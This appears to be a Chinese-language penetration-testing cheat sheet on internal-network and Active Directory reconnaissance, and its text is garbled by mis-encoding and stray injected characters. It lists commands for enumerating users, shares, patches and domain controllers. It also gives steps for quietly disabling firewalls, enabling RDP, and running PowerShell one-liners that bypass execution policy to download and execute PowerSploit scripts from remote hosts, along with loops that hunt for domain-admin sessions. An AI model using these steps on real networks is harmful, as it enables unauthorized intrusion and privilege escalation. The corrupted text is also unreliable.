內(nèi)網(wǎng)信息收集
在內(nèi)網(wǎng)環(huán)境中莉恼,信息收集尤為重要。信息收集的廣度與深度供璧,往往決定你的滲透測(cè)試的成果佩伤。
工作組信息收集
本機(jī)信息收集有通常有以下幾種信息需要收集:
1. 查詢網(wǎng)絡(luò)配置
-
ipconfig /all
可以判斷是否處于內(nèi)網(wǎng)、內(nèi)網(wǎng)IP段济丘、網(wǎng)關(guān)谱秽、DNS服務(wù)器地址、
判斷有沒有域
2. 查詢用戶列表
-
net user 查看本機(jī)用戶列表
- 可以看大型企業(yè)的用戶名命名規(guī)則
-
net localgroup administrators 查看本機(jī)管理員
- 通常含有域用戶摹迷,用戶批量管理主機(jī)的
query user || qwinsta 查看當(dāng)前在線用戶
3. 查看進(jìn)程列表
-
tasklist /v
可看裝了什么軟件疟赊,域內(nèi)可能裝同樣的軟件
可看進(jìn)程是用什么權(quán)限運(yùn)行的。若進(jìn)程是以域管理員權(quán)限運(yùn)行的泪掀,可通過令牌的竊取注入進(jìn)程里听绳,獲取域管理員權(quán)限。
wmic process list brief
4. 查看操作系統(tǒng)及安裝軟件版本信息
systeminfo | findstr /B /C:"OS 名稱" /C:"OS 版本" (英文版的話需要寫成Name與Version)
-
wmic product get name,version
- 查看軟件安裝及版本异赫、路徑等⊥凡恚可看殺軟的版本塔拳,然后可找漏洞。
-
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name,version"
- 查看軟件安裝及版本峡竣、路徑等靠抑。可看殺軟的版本适掰,然后可找漏洞颂碧。
5. 查詢端口列表
-
netstat -ano
- 可以通過信息判斷服務(wù)器,如開放53端口(DNS服務(wù)器)类浪、8530(WSUS更新)载城、或代理服務(wù)器。
6. 查看補(bǔ)丁列表
-
systeminfo
- 查看各種系統(tǒng)信息费就、打補(bǔ)丁信息诉瓦,還可以判斷有沒有域
-
wmic qfe get Caption,Description,HotFixID,InstalledOn
- 可看打補(bǔ)丁的詳細(xì)信息
7. 查詢本機(jī)共享
-
net share
- 域內(nèi)的共享很多時(shí)候是相同的。
wmic share get name,path,status
8. 關(guān)于防火墻配置
netsh firewall show config 查看防火墻配置詳細(xì)信息
netsh firewall set opmode mode = enable 啟動(dòng)防火墻
-
netsh advfirewall set allprofiles state off 關(guān)閉防火墻
- 直接關(guān)閉防火墻動(dòng)靜有點(diǎn)大,可以添加規(guī)則睬澡,達(dá)到目的后再刪除規(guī)則固额。
9. 查詢并開啟遠(yuǎn)程連接服務(wù)。
Reg query "hkey_local_machine\system\currentcontrolset\control\terminal server\winstations\RDP-Tcp" /v portnumber 查看遠(yuǎn)程連接端口
-
Windows Server 2008和Windows Server 2012開啟3389方法
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
10. 查詢當(dāng)前權(quán)限
-
whoami
本地普通用戶不能查詢域內(nèi)信息
本地管理員可以查詢域內(nèi)信息
域內(nèi)用戶可以查詢域內(nèi)信息
-
whoami /all
- 獲取域SID煞聪。SID:域內(nèi)作為身份認(rèn)證的唯一標(biāo)識(shí)斗躏。后面域滲透中令牌竊取即竊取SID
net user XXX /domain 查詢指定賬戶的詳細(xì)信息
域內(nèi)信息收集
1. 判斷是否有域
ipconfig /all
systeminfo
net config workstation
-
net time /domain
存在域,當(dāng)前用戶不是域用戶
存在域昔脯,當(dāng)前用戶是域用戶
提示"找不到域xx的域控制器":不存在域
2. 域內(nèi)存活主機(jī)的探測(cè)
白天探測(cè)瑟捣,深夜探測(cè),找出規(guī)律栅干。
-
利用netbios快速探測(cè)內(nèi)網(wǎng)
工具:Nbtscan
使用方法:nbtscan.exe IP
-
利用ICMP協(xié)議快速探測(cè)內(nèi)網(wǎng)
-
ping命令迈套。
- for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL=” 其中“192.168.1”為網(wǎng)段。
VBS腳本
-
-
利用arp掃描完整探測(cè)內(nèi)網(wǎng)
工具:arp-scan碱鳞,命令:arp.exe -t IP
Empire中的arpscan模塊
Invoke-ARPScan.ps1
-
命令:
A.遠(yuǎn)程下載運(yùn)行
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(' http://192.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan -CIDR 192.168.1.0/20" >> c:\windows\temp\log.txt
B.本地運(yùn)行
powershell.exe -exec bypass -Command "& {Import-Module C:\windows\temp\Invoke-ARPScan.ps1; Invoke-ARPScan -CIDR 192.168.1.0/20}" >> C:\windows\temp\log.txt
C. 無條件運(yùn)行
powershell.exe -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1');Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '445,1433,8080,3389,80' -oA c:\windows\temp\res.txt"
-
利用常規(guī)tcp/udp端口掃描探測(cè)內(nèi)網(wǎng)
工具:scanline
命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.1.1-254 /b
-
域內(nèi)端口掃描
注意掃描是否會(huì)觸發(fā)IDS桑李,windows推薦使用powershell、wmic的腳本進(jìn)行掃描窿给。降低掃描的頻率贵白。
端口的banner服務(wù)(歡迎語(yǔ)句):在banner信息中可以得到軟件開發(fā)商,軟件名稱崩泡、版本禁荒、服務(wù)類型等信息,通過這些信息可以使用某些工具直接去使用相對(duì)應(yīng)的exp去攻擊角撞。
端口上運(yùn)行的服務(wù)
常見應(yīng)用的默認(rèn)端口
常用nmap呛伴、masscan(動(dòng)靜比較大,已授權(quán)情況下)
telnet命令
-
s掃描器(速度快)
- 命令舉例:S.exe TCP 192.168.1.1 192.168.1.254 445,3389,1433,7001,1099,8080,80,22,23,21,25,110,3306,5432,1521,6379,2049,111 256 /Banner /save
-
metasploit可調(diào)用nmap及自身所帶的腳本
- 如search portscan谒所,然后Use auxiliary/scanner/portscan/tcp
Invoke-portscan.ps1(在powersploit下的腳本)
常見端口機(jī)器攻擊方向
3. 域內(nèi)基礎(chǔ)信息收集
某些命令需要域用戶或主機(jī)system權(quán)限才能運(yùn)行热康。
net view /domain 查詢域
net view /domain:XXX 查詢域內(nèi)電腦,有時(shí)可以根據(jù)電腦名字判斷目標(biāo)主機(jī)為什么類型的主機(jī)劣领。
net group /domain 查詢域里的用戶組
net group "domain computers" /domain 查詢域成員的計(jì)算機(jī)列表
net accounts /domain 查詢域里密碼的策略
nltest /domain_trusts 查詢域信任信息
4. 查詢域控
nltest /DCLIST:XXX xxx為域的名稱
Nslookup -type=SRV ldap.tcp
net time /domain
net group "Domain Controllers" /domain 查詢所有域控
netdom query pdc
5. 查詢域內(nèi)用戶與管理員
net user /domain 查詢域內(nèi)所有用戶
wmic useraccount get /all 獲取域內(nèi)用戶的詳細(xì)信息
dsquery user
net localgroup administrators /domain 查詢域內(nèi)置的本地管理員組的用戶
net group "domain admins" /domain 查詢域管理員用戶組
net group "Enterprise Admins" /domain 查詢域管理員用戶組
定位域管理員
定位域內(nèi)管理員的方法:一是通過日志姐军,二是會(huì)話。日志指的的本地機(jī)器的管理員日志尖淘,可以使用腳本或wevtutil導(dǎo)出查看奕锌。會(huì)話是域內(nèi)每個(gè)機(jī)器的登陸會(huì)話,可以匿名查詢村生,無需權(quán)限惊暴,可以使用netsess.exe或powerview等工具查詢。一個(gè)主機(jī)a加入到域XX中梆造,那么域XX的管理員組會(huì)默認(rèn)加入到主機(jī)a的本地管理員組中缴守。
1. 定位域管理員的工具
-
psloggedon.exe 查找管理員登錄信息
- psloggedon [-] [-l] [-x] [\computername|username] -l 表示本地登錄的
-
PVEFindADUser.exe (需要管理員權(quán)限)
- -current
-
netsess.exe 查找主機(jī)會(huì)話
- -h
-
PowerView腳本-Invoke-UserHunter
- powershell.exe -exec bypass -Command "& {Import-Module C:\PowerView.ps1;Invoke-UserHunter}" 隱藏使用葬毫,調(diào)用C:\PowerView.ps1腳本
查找域管理進(jìn)程
1. 本機(jī)檢查
獲取域管理員列表。命令:net group "Domain Admins" /domain
查看本機(jī)所有進(jìn)程及進(jìn)程用戶屡穗。命令:tasklist /v
尋找是否有進(jìn)程所有者為域管理員的進(jìn)程贴捡。
2. 查詢域控制器的域用戶會(huì)話(腳本)
收集所有域控制器的列表。 net group "Domain Controllers" /domain
收集域管理員列表村砂。 net group "Domain Admins" /domain
使用Netsess.exe查詢每個(gè)域控制器烂斋,收集所有活動(dòng)域會(huì)話的列表。 Netsess.exe –h
將域管理員列表與活動(dòng)會(huì)話列表交叉引用础废,以確定哪些IP地址具有活動(dòng)域令牌汛骂。
3. 掃描遠(yuǎn)程系統(tǒng)上運(yùn)行的任務(wù)
這個(gè)方法運(yùn)行的前提:域管理員賬號(hào)開啟了共享
收集域管理員的列表 net group "Domain Admins" /domain
運(yùn)行腳本。將目標(biāo)域系統(tǒng)添加到ips.txt文件中评腺,將收集到的域管理員列表添加到names.txt文件中帘瞭。
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
4. 掃描遠(yuǎn)程系統(tǒng)上NetBIOS信息
收集域管理員列表。
運(yùn)行腳本蒿讥。將目標(biāo)域系統(tǒng)列表添加到ips.txt文件中蝶念,將收集到的域管理員列表添加到admins.txt文件中。并置于同一目錄下芋绸。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
- 也可以使用nbtscan工具媒殉。先收集管理員列表。然后將目標(biāo)域系統(tǒng)列表添加到ips.txt文件中摔敛,將收集到的域管理員列表添加到admins.txt文件中廷蓉。并置于同一目錄下。
for /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
Powershell收集域信息
2.0內(nèi)置于win server 2008與win 7中
3.0內(nèi)置于win server 2012與win 8中
4.0內(nèi)置于win server 2012 R2與win 8.1中
5.0內(nèi)置于win server 2016 與win 10中
1. Powershell四種權(quán)限
Restricted 默認(rèn)設(shè)置马昙,不允許執(zhí)行任何腳本桃犬。
Allsigned 只能運(yùn)行經(jīng)過證書驗(yàn)證的腳本。
Unrestricted 權(quán)限最高给猾,可以執(zhí)行任意腳本疫萤。
RemoteSigned 對(duì)本地腳本不進(jìn)行限制,對(duì)來自網(wǎng)絡(luò)的腳本必須驗(yàn)證其簽名敢伸。
操作:
輸入Get-ExecutionPolicy 可查看當(dāng)前執(zhí)行權(quán)限
Get-ExecutionPolicy + 權(quán)限 更改執(zhí)行權(quán)限。
2. Powershell收集域信息
Powershell中常用命令:
域滲透分析工具BloodHound的使用
詳細(xì)請(qǐng)閱:《內(nèi)網(wǎng)安全攻防.實(shí)戰(zhàn)滲透測(cè)試指南》P76